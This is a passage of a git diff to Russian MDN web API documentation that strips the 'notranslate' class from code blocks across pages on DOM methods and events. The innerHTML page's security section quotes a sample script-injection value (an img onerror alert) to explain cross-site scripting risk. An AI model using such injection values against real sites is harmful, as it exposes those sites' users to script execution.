<var>onlyHere</var>])</pre> +<pre>executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> <h4 id="Описание">Описание</h4> @@ -309,7 +309,7 @@ docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will e <h4 id="Примеры_использования">Примеры использования</h4> -<pre class="notranslate"><code>function alertSomething (sMsg) { +<pre><code>function alertSomething (sMsg) { alert(sMsg); } diff --git a/files/ru/web/api/document/evaluate/index.html b/files/ru/web/api/document/evaluate/index.html index d2839a3bc1..ec48166876 100644 --- a/files/ru/web/api/document/evaluate/index.html +++ b/files/ru/web/api/document/evaluate/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var xpathResult = document.evaluate( +<pre class="syntaxbox">var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, @@ -27,7 +27,7 @@ translation_of: Web/API/Document/evaluate <h2 id="Example">Пример</h2> -<pre class="brush: js notranslate">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); /* Найти в документе все элементы h2 * В качестве результата будет получен узловой итератор. */ var thisHeading = headings.iterateNext(); @@ -43,7 +43,7 @@ alert(alertText); // Показывает alert со всеми найденны <p>Further optimization can be achieved by careful use of the context parameter. For example, if you know the content you are looking for is somewhere inside the body tag, you can use this:</p> -<pre class="brush: js notranslate">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); </pre> <p>Notice in the above <code>document.body</code> has been used as the context instead of <code>document</code> so the XPath starts from the body element. (In this example, the <code>"."</code> is important to indicate that the querying should start from the context node, document.body. If the "." was left out (leaving <code>//h2</code>) the query would start from the root node (<code>html</code>) which would be more wasteful.)</p> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index d89c32ba30..ff6d160278 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) +<pre class="brush: js">execCommand(String aCommandName, Boolean aShowDefaultUI, String aValueArgument) </pre> <h3 id="Аргументы">Аргументы</h3> @@ -267,7 +267,7 @@ translation_of: Web/API/Document/execCommand <h2 id="Example">Пример</h2> -<pre class="notranslate"><code>iframeNode</code>.execCommand("bold"); // Жирный текст +<pre><code>iframeNode</code>.execCommand("bold"); // Жирный текст <code>iframeNode</code>.execCommand("undo"); // Отмена последнего действия <code>iframeNode</code>.execCommand("insertText", false, "Lorem ipsum dolor sit amet, consectetur adipisicing elit."); // Вставка текста </pre> diff --git a/files/ru/web/api/document/head/index.html b/files/ru/web/api/document/head/index.html index 85fdcb7b64..78c09b0450 100644 --- a/files/ru/web/api/document/head/index.html +++ b/files/ru/web/api/document/head/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/head <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var objRef</em> = document.head; +<pre class="syntaxbox"><em>var objRef</em> = document.head; </pre> @@ -26,7 +26,7 @@ translation_of: Web/API/Document/head <h2 id="Пример">Пример</h2> -<pre class="notranslate"><code><!doctype html> +<pre><code><!doctype html> <head id="my-document-head"> <title>Example: using document.head</title> </head> diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html index 1202819d7c..0f2dbb4229 100644 --- a/files/ru/web/api/document/queryselector/index.html +++ b/files/ru/web/api/document/queryselector/index.html @@ -22,7 +22,7 @@ translation_of: Web/API/Document/querySelector <h2 id="Syntax">Синтаксис</h2> -<pre class="brush: js notranslate">element = document.querySelector(selectors); +<pre class="brush: js">element = document.querySelector(selectors); </pre> <h3 id="Параметры">Параметры</h3> @@ -59,7 +59,7 @@ translation_of: Web/API/Document/querySelector <p>Чтобы сопоставить ID или селекторы, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать её <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p> -<pre class="brush: html notranslate"><div id="foo\bar"></div> +<pre class="brush: html"><div id="foo\bar"></div> <div id="foo:bar"></div> <script> @@ -80,14 +80,14 @@ translation_of: Web/API/Document/querySelector <p>В этом примере, нам вернётся первый элемент в документе с классом "<code>myclass</code>":</p> -<pre class="brush: js notranslate">var el = document.querySelector(".myclass"); +<pre class="brush: js">var el = document.querySelector(".myclass"); </pre> <h3 id="Notes">Более сложный селектор</h3> <p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент <input name="login"/>, находящийся в <div class="user-panel main">:</p> -<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]"); +<pre class="brush: js">var el = document.querySelector("div.user-panel.main input[name=login]"); </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html index fee81eb14b..050cbbf190 100644 --- a/files/ru/web/api/document/readystate/index.html +++ b/files/ru/web/api/document/readystate/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/Document/readyState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre> +<pre>var <var>string</var> = <var>document</var>.readyState;</pre> <h3 id="Значения">Значения</h3> @@ -37,7 +37,7 @@ translation_of: Web/API/Document/readyState <h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3> -<pre class="brush: js notranslate"><span>switch (document.readyState) { +<pre class="brush: js"><span>switch (document.readyState) { case "loading": // Страница все ещё загружается break; @@ -56,7 +56,7 @@ translation_of: Web/API/Document/readyState <h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3> -<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded +<pre class="brush:js">// альтернатива событию DOMContentLoaded document.onreadystatechange = function () { if (document.readyState == "interactive") { initApplication(); @@ -65,7 +65,7 @@ document.onreadystatechange = function () { <h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3> -<pre class="brush: js notranslate">// альтернатива событию load +<pre class="brush: js">// альтернатива событию load document.onreadystatechange = function () { if (document.readyState == "complete") { initApplication(); diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html index 5b50a26c31..ec8d9fd4a2 100644 --- a/files/ru/web/api/document/scroll_event/index.html +++ b/files/ru/web/api/document/scroll_event/index.html @@ -50,7 +50,7 @@ translation_of: Web/API/Document/scroll_event <p>Обратите внимание, однако, что входные события и кадры анимации запускаются примерно с одинаковой скоростью, и поэтому приведённая ниже оптимизация зачастую не требуется. В примере ниже оптимизируется событие <code>scroll</code> для <code>requestAnimationFrame</code>:</p> -<pre class="brush: js notranslate">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ +<pre class="brush: js">// Источник: http://www.html5rocks.com/en/tutorials/speed/animations/ let last_known_scroll_position = 0; let ticking = false; diff --git a/files/ru/web/api/domimplementation/createhtmldocument/index.html b/files/ru/web/api/domimplementation/createhtmldocument/index.html index 6a93e3afb9..a0157be6d6 100644 --- a/files/ru/web/api/domimplementation/createhtmldocument/index.html +++ b/files/ru/web/api/domimplementation/createhtmldocument/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <var>newDoc</var> = document.implementation.createHTMLDocument(<var>title</var>)</pre> +<pre class="syntaxbox">const <var>newDoc</var> = document.implementation.createHTMLDocument(<var>title</var>)</pre> <h3 id="Параметры">Параметры</h3> @@ -30,7 +30,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Вот HTML для этого примера:</p> -<pre class="brush: html notranslate"><body> +<pre class="brush: html"><body> <p>Click <a href="javascript:makeDocument()">here</a> to create a new document and insert it below.</p> <iframe id="theFrame" src="about:blank" /> </body> @@ -38,7 +38,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Реализация JavaScript <code>makeDocument()</code> выглядит следующим образом:</p> -<pre class="brush: js notranslate">function makeDocument() { +<pre class="brush: js">function makeDocument() { let frame = document.getElementById("theFrame"); let doc = document.implementation.createHTMLDocument("New Document"); @@ -69,7 +69,7 @@ translation_of: Web/API/DOMImplementation/createHTMLDocument <p>Возвращаемый документ предварительно сконструирован со следующим HTML-кодом:</p> -<pre class="brush: html notranslate"><!doctype html> +<pre class="brush: html"><!doctype html> <html> <head> <title><var>title</var></title> diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html index 41172fee2f..b682299fcb 100644 --- a/files/ru/web/api/domtokenlist/replace/index.html +++ b/files/ru/web/api/domtokenlist/replace/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/DOMTokenList/replace <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre> +<pre class="syntaxbox"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -34,11 +34,11 @@ translation_of: Web/API/DOMTokenList/replace <p>В HTML:</p> -<pre class="brush: html notranslate"><span class="a b c"></span></pre> +<pre class="brush: html"><span class="a b c"></span></pre> <p>В JavaScript:</p> -<pre class="brush: js notranslate">let span = document.querySelector("span"); +<pre class="brush: js">let span = document.querySelector("span"); let classes = span.classList; let result = classes.replace("c", "z"); @@ -58,7 +58,7 @@ if (result) { <p>Следующий полифил добавит метод replace в класс <code>DOMTokenList</code>. Следующий код будет работать только с <strong>IE10-11</strong>. Чтобы использовать с более ранними версиями IE, обратитесь к полифилу по {{domxref("element.classList#Polyfill")}}</p> -<pre class="brush: js notranslate"><code>DOMTokenList.prototype.replace = function (a, b) { +<pre class="brush: js"><code>DOMTokenList.prototype.replace = function (a, b) { if (this.contains(a)) { this.add(b); this.remove(a); diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html index 6402a20d93..9ad86944f7 100644 --- a/files/ru/web/api/element/closest/index.html +++ b/files/ru/web/api/element/closest/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Element/closest <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>); +<pre class="syntaxbox">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>); </pre> <ul> @@ -32,7 +32,7 @@ translation_of: Web/API/Element/closest <h2 id="Example">Пример</h2> -<pre class="notranslate"><div id="block" title="Я - блок"> +<pre><div id="block" title="Я - блок"> <a href="#">Я ссылка в никуда</a> <a href="http://site.ru">Я ссылка на сайт</a> <div> @@ -43,7 +43,7 @@ translation_of: Web/API/Element/closest <p>Думаю, стоит рассмотреть несколько примеров:</p> -<pre class="brush: js notranslate">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск +<pre class="brush: js">var div = document.querySelector("#too"); //Это элемент от которого мы начнём поиск div.closest("#block"); //Результат - самый первый блок древа выше div.closest("div"); //Сам блок #too и будет результатом, так как он подходит под селектор "div" @@ -56,7 +56,7 @@ div.closest("div[title]") //#block - так как ближе нет блоко <p>Для браузеров не поддерживающих Element.closest(), но позволяющих использовать element.matches() (или префиксный эквивалент) есть полифил:</p> -<pre class="brush: js notranslate">(function(ELEMENT) { +<pre class="brush: js">(function(ELEMENT) { ELEMENT.matches = ELEMENT.matches || ELEMENT.mozMatchesSelector || ELEMENT.msMatchesSelector || ELEMENT.oMatchesSelector || ELEMENT.webkitMatchesSelector; ELEMENT.closest = ELEMENT.closest || function closest(selector) { if (!this) return null; @@ -70,7 +70,7 @@ div.closest("div[title]") //#block - так как ближе нет блоко <p>Тем не менее, если вам требуется поддержка IE 8, вы можете использовать следующий полифил. Имейте ввиду - этот способ позволяет использовать CSS селекторы только уровня 2.1 и может жутко тормозить.</p> -<pre class="brush: js notranslate">(function(e){ +<pre class="brush: js">(function(e){ e.closest = e.closest || function(css){ var node = this; <code class="language-javascript"><span class="keyword token"> diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html index aebc96174b..c3b5db5ccb 100644 --- a/files/ru/web/api/element/innerhtml/index.html +++ b/files/ru/web/api/element/innerhtml/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/innerHTML <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">const <var>content</var> = <var>element</var>.innerHTML; +<pre class="brush: js">const <var>content</var> = <var>element</var>.innerHTML; <var>element</var>.innerHTML = <var>htmlString</var>; </pre> @@ -35,11 +35,11 @@ translation_of: Web/API/Element/innerHTML <p>Это свойство предоставляет простой способ полностью заменить содержимое элемента. Например, все содержимое элемента body может быть удалено:</p> -<pre class="brush: js notranslate">document.body.innerHTML = ""; // Заменяет содержимое тела пустой строкой.</pre> +<pre class="brush: js">document.body.innerHTML = ""; // Заменяет содержимое тела пустой строкой.</pre> <p>Свойство innerHTML многих типов элементов, включая {{HTMLElement("body")}} или {{HTMLElement("html")}}, могут быть возвращены или перемещены. Это может так же быть использовано для просмотра кода страницы, которая была изменена динамически:</p> -<pre class="brush: js notranslate">// Скопируйте и вставьте в адресную строку в виде одной строки. +<pre class="brush: js">// Скопируйте и вставьте в адресную строку в виде одной строки. javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&lt;") + "</pre>"; </pre> @@ -49,7 +49,7 @@ javascript:"<pre>"+document.documentElement.innerHTML.replace(/</g,"&am <p>Не редко можно увидеть использование InnerHTML для вставки текста в веб страницу. Это приводит к рискам безопасности.</p> -<pre class="brush: js notranslate">const name = "John"; +<pre class="brush: js">const name = "John"; // предполагая, что 'el' является HTML DOM-элементом. el.innerHTML = name; // безвредный в этом случае @@ -62,7 +62,7 @@ el.innerHTML = name; // безвредный в этом случае</pre> <p>Однако, есть способы запустить JavaScript без использования элементов {{HTMLElement("script")}}, так что есть риск безопасности всякий раз, когда вы используете innerHTML для набора строк, над которыми у вас нет контроля. Например:</p> -<pre class="brush: js notranslate">const name = "<img src='x' onerror='alert(1)'>"; +<pre class="brush: js">const name = "<img src='x' onerror='alert(1)'>"; el.innerHTML = name; // показывает alert</pre> <p>По этой причине, рекомендуется не использовать innerHTML при вставке обычного текста; вместо этого, используйте {{domxref("node.textContent")}}. Это не интерпретирует отправленный контент как HTML, но вместо этого он вставляется как не обработанный текст. </p> @@ -73,7 +73,7 @@ el.innerHTML = name; // показывает alert</pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">function log(msg) { +<pre class="brush: js">function log(msg) { var logElem = document.querySelector(".log"); var time = new Date(); @@ -87,7 +87,7 @@ log("Регистрация событий мыши внутри этого ко <p>Мы добавляем второй метод, который логирует информацию о событиях на основе {{domxref("MouseEvent")}} (например, {{event("mousedown")}}, {{event("click")}}, и {{event("mouseenter")}}):</p> -<pre class="brush: js notranslate">function logEvent(event) { +<pre class="brush: js">function logEvent(event) { var msg = "Event <strong>" + event.type + "</strong> at <em>" + event.clientX + ", " + event.clientY + "</em>"; log(msg); @@ -95,7 +95,7 @@ log("Регистрация событий мыши внутри этого ко <p>Затем мы используем этот обработчик событий на элементе, который содержит наше логирование, для каждого события мыши:</p> -<pre class="brush: js notranslate">var boxElem = document.querySelector(".box"); +<pre class="brush: js">var boxElem = document.querySelector(".box"); boxElem.addEventListener("mousedown", logEvent); boxElem.addEventListener("mouseup", logEvent); @@ -107,7 +107,7 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <p>HTML довольно простой для нашего примера.</p> -<pre class="brush: html notranslate"><div class="box"> +<pre class="brush: html"><div class="box"> <div><strong>Log:</strong></div> <div class="log"></div> </div></pre> @@ -118,7 +118,7 @@ boxElem.addEventListener("mouseleave", logEvent);</pre> <p>Для нашего примера используем следующие CSS стили.</p> -<pre class="brush: css notranslate">.box { +<pre class="brush: css">.box { width: 600px; height: 300px; border: 1px solid black; diff --git a/files/ru/web/api/element/mouseenter_event/index.html b/files/ru/web/api/element/mouseenter_event/index.html index 4eaf5d34d6..5b730ba50a 100644 --- a/files/ru/web/api/element/mouseenter_event/index.html +++ b/files/ru/web/api/element/mouseenter_event/index.html @@ -53,7 +53,7 @@ translation_of: Web/API/Element/mouseenter_event <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><div id='mouseTarget'> +<pre class="brush: html"><div id='mouseTarget'> <ul id="unorderedList"> <li>No events yet!</li> </ul> @@ -63,7 +63,7 @@ translation_of: Web/API/Element/mouseenter_event <p>Стилизация <code>div</code> чтобы сделать его более заметным.</p> -<pre class="brush: css notranslate">#mouseTarget { +<pre class="brush: css">#mouseTarget { box-sizing: border-box; width:15rem; border:1px solid #333; @@ -71,7 +71,7 @@ translation_of: Web/API/Element/mouseenter_event <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">var enterEventCount = 0; +<pre class="brush: js">var enterEventCount = 0; var leaveEventCount = 0; const mouseTarget = document.getElementById('mouseTarget'); const unorderedList = document.getElementById('unorderedList'); diff --git a/files/ru/web/api/element/queryselectorall/index.html b/files/ru/web/api/element/queryselectorall/index.html index 31f9443386..38761d00ea 100644 --- a/files/ru/web/api/element/queryselectorall/index.html +++ b/files/ru/web/api/element/queryselectorall/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Element/querySelectorAll <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>); +<pre class="syntaxbox"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>); </pre> <p>где</p> @@ -24,18 +24,18 @@ translation_of: Web/API/Element/querySelectorAll <p>Этот пример возвращает список всех элементов с тегом p, которые находятся в теле документа:</p> -<pre class="brush: js notranslate">var matches = document.body.querySelectorAll('p'); +<pre class="brush: js">var matches = document.body.querySelectorAll('p'); </pre> <p>Этот пример возвращает список всех элементов с тегом p, которые находятся непосредственно в элементах-контейнерах с тегом div, имеющих класс 'highlighted', которые в свою очередь находятся внутри элемента с идентификатором 'test':</p> -<pre class="brush:js notranslate">var el = document.querySelector('#test'); +<pre class="brush:js">var el = document.querySelector('#test'); var matches = el.querySelectorAll('div.highlighted > p'); </pre> <p>Этот пример возвращает список всех элементов iframe, которые имеют атрибут "data-src":</p> -<pre class="brush: js notranslate">var matches = el.querySelectorAll('iframe[data-src]'); +<pre class="brush: js">var matches = el.querySelectorAll('iframe[data-src]'); </pre> <h2 id="Notes">Примечания</h2> diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html index 66f1f574e4..d4000efc21 100644 --- a/files/ru/web/api/element/scrollheight/index.html +++ b/files/ru/web/api/element/scrollheight/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Element/scrollHeight <h2 id="Syntax_and_values">Синтаксис</h2> -<pre class="eval notranslate">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight; +<pre class="eval">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight; </pre> <p><em>intElemScrollHeight</em> - переменная, хранящая целое число, соответствующее пиксельному значению scrollHeight элемента. scrollHeight является свойством только для чтения.</p> @@ -40,7 +40,7 @@ translation_of: Web/API/Element/scrollHeight <p>Следующее выражение возвращает <code>true</code>, если элемент был прокручен до конца, <code>false</code> если это не так.</p> -<pre class="syntaxbox notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre> +<pre class="syntaxbox">element.scrollHeight - element.scrollTop === element.clientHeight</pre> <h2 id="scrollHeight_Demo">Пример работы scrollHeight</h2> @@ -48,7 +48,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><form name="registration"> +<pre class="brush: html"><form name="registration"> <p> <textarea id="rules"> Регистрируясь на сайте любителей котиков я соглашаюсь со следующими условиями: @@ -81,7 +81,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="CSS">CSS</h3> -<pre class="brush: css notranslate">#notice { +<pre class="brush: css">#notice { display: inline-block; margin-bottom: 12px; border-radius: 5px; @@ -100,7 +100,7 @@ translation_of: Web/API/Element/scrollHeight <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate">function checkReading () { +<pre class="brush: js">function checkReading () { if (checkReading.read) { return; } diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html index 6a16a07850..ac988fa87e 100644 --- a/files/ru/web/api/element/setattribute/index.html +++ b/files/ru/web/api/element/setattribute/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Element/setAttribute <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>); +<pre class="syntaxbox"><em>element</em>.setAttribute(<em>name</em>, <em>value</em>); </pre> <ul> @@ -23,9 +23,9 @@ translation_of: Web/API/Element/setAttribute <p>В следующем примере, <code>setAttribute()</code> используется, чтобы установить атрибут {{htmlattrxref("disabled")}} кнопки {{htmlelement("button")}}, делая её отключённой.</p> -<pre class="brush: html notranslate"><button>Hello World</button></pre> +<pre class="brush: html"><button>Hello World</button></pre> -<pre class="brush:js notranslate">var b = document.querySelector("button"); +<pre class="brush:js">var b = document.querySelector("button"); b.setAttribute("disabled", "disabled"); </pre> diff --git a/files/ru/web/api/event/bubbles/index.html b/files/ru/web/api/event/bubbles/index.html index 4daa6fbaa2..f3f77f9542 100644 --- a/files/ru/web/api/event/bubbles/index.html +++ b/files/ru/web/api/event/bubbles/index.html @@ -15,20 +15,20 @@ translation_of: Web/API/Event/bubbles <h3 id="Синтаксис">Синтаксис</h3> -<pre class="notranslate">event.bubbles</pre> +<pre>event.bubbles</pre> <p>Возвращает булево значение <code>true</code>, если событие является всплывающим внутри DOM.</p> <h3 id="Syntax">Пример</h3> -<pre class="eval notranslate"><em>var bool</em> = event.bubbles; +<pre class="eval"><em>var bool</em> = event.bubbles; </pre> <p><code>bool</code> содержит <code>true</code> или <code>false</code> в зависимости от того, может событие быть всплывающим внутри DOM или нет</p> <h3 id="Example">Пример</h3> -<pre class="notranslate">function handleInput(e) { +<pre>function handleInput(e) { // Проверяем всплывает ли событие и ... if (!e.bubbles) { // ... пропускаем событие сюда если нет diff --git a/files/ru/web/api/event/currenttarget/index.html b/files/ru/web/api/event/currenttarget/index.html index cfdabb8a64..581a0f198b 100644 --- a/files/ru/web/api/event/currenttarget/index.html +++ b/files/ru/web/api/event/currenttarget/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/currentTarget <p><code>event.currentTarget</code> используется, когда один и тот же обработчик события присваивается нескольким элементам.</p> -<pre class="brush: js notranslate">function hide(e){ +<pre class="brush: js">function hide(e){ e.currentTarget.style.visibility = "hidden"; // Когда данная функция используется в качестве обработчика события: this === e.currentTarget } diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html index a728138f22..9ca43c3a83 100644 --- a/files/ru/web/api/event/event/index.html +++ b/files/ru/web/api/event/event/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Event/Event <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre> +<pre class="syntaxbox"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -32,7 +32,7 @@ translation_of: Web/API/Event/Event <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">// <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span> +<pre class="brush: js">// <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span> var evt = new Event("look", {"bubbles":true, "cancelable":false}); document.dispatchEvent(evt); diff --git a/files/ru/web/api/event/target/index.html b/files/ru/web/api/event/target/index.html index ea342310ab..d3e08d4b12 100644 --- a/files/ru/web/api/event/target/index.html +++ b/files/ru/web/api/event/target/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Event/target <p id="Синтаксис">Синтаксис</p> -<pre class="syntaxbox notranslate">theTarget = event.target</pre> +<pre class="syntaxbox">theTarget = event.target</pre> <p>Значение:</p> @@ -21,7 +21,7 @@ translation_of: Web/API/Event/target <p>Свойство <code>event.target</code> может быть использовано для реализации <strong>делегирования событий</strong>.</p> -<pre class="notranslate">// Создадим список +<pre>// Создадим список var ul = document.createElement('ul'); document.body.appendChild(ul); @@ -52,7 +52,7 @@ ul.addEventListener('click', hide, false);</pre> <p>В IE 6-8 модель событий отличается. Обработчики событий назначаются с помощью нестандартного {{domxref('EventTarget.attachEvent')}} метода. При этом в объекте события есть свойство {{domxref('Event.srcElement')}}, вместо <code>target</code> свойства, но по смыслу оно идентично <code>event.target</code>.</p> -<pre class="brush: js notranslate">function hide(e) { +<pre class="brush: js">function hide(e) { // Поддержка IE 6-8 var target = e.target || e.srcElement; target.style.visibility = 'hidden'; diff --git a/files/ru/web/api/eventlistener/index.html b/files/ru/web/api/eventlistener/index.html index 43bcdc188d..4ff64d8c80 100644 --- a/files/ru/web/api/eventlistener/index.html +++ b/files/ru/web/api/eventlistener/index.html @@ -31,7 +31,7 @@ translation_of: Web/API/EventListener <p>Этот метод вызывается всякий раз, когда происходит событие того типа, для которого был зарегистрирован интерфейс EventListener.</p> -<pre class="eval notranslate">void handleEvent( +<pre class="eval">void handleEvent( in Event event ); </pre> @@ -53,12 +53,12 @@ translation_of: Web/API/EventListener <h3 id="HTML">HTML</h3> -<pre class="brush: html notranslate"><code><button id="btn">Нажми сюда!</button></code> +<pre class="brush: html"><code><button id="btn">Нажми сюда!</button></code> </pre> <h3 id="JavaScript">JavaScript</h3> -<pre class="brush: js notranslate"><code>const buttonElement = document.getElementById('btn'); +<pre class="brush: js"><code>const buttonElement = document.getElementById('btn'); // Добавим обработчик для события "click", предоставив callback. // Теперь по клику на элемент будет всплывать подсказка. diff --git a/files/ru/web/api/eventtarget/addeventlistener/index.html b/files/ru/web/api/eventtarget/addeventlistener/index.html index de792a7f54..d442f0f239 100644 --- a/files/ru/web/api/eventtarget/addeventlistener/index.html +++ b/files/ru/web/api/eventtarget/addeventlistener/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/EventTarget/addEventListener <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>); +<pre class="syntaxbox"><code><em>target.addEventListener(type, listener</em>[<em>, options</em>]<em>); target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]); <em>target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>, <em>wantsUntrusted </em>{{Non-standard_inline}}]); // только Gecko/Mozilla </code></pre> @@ -68,7 +68,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <p>Например, колбэк обработчика событий, который может использоваться для обработки {{event("fullscreenchange")}} и {{event("fullscreenerror")}} может выглядеть так:</p> -<pre class="brush: js line-numbers language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">eventHandler</span><span class="punctuation token">(</span><span class="parameter token">event</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>event<span class="punctuation token">.</span>type <span class="operator token">==</span> <span class="string token">'fullscreenchange'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="comment token">/* Переключатель полноэкранного режима */</span> <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="comment token">/* fullscreenerror */</span> <span class="punctuation token">{</span> @@ -84,7 +84,7 @@ target</em>.addEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</ <p>Например, если вы хотите проверить параметр <code>passive</code>:</p> -<pre class="brush: js notranslate">var passiveSupported = false; +<pre class="brush: js">var passiveSupported = false; try { var options = Object.defineProperty({}, "passive", { @@ -102,7 +102,7 @@ try { <p>Если вы хотите добавить обработчик событий, использующий параметры, о которых идёт речь, вы можете сделать это подобным образом:</p> -<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported +<pre class="brush: js">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported ? { passive: true } : false);</pre> <p>Здесь мы добавляем обработчик события {{event ("mouseup")}} элемента <code>someElement</code>. Для третьего параметра, если <code>passiveSupported</code> имеет значение <code>true</code>, мы указываем объект <code>options</code> с <code>passive: true</code>; в противном случае мы знаем, что нам нужно передать логическое значение, и мы передаём <code>false</code> как значение параметра <code>useCapture</code>.</p> @@ -119,7 +119,7 @@ try { <h4 id="HTML_Содержимое">HTML Содержимое</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td 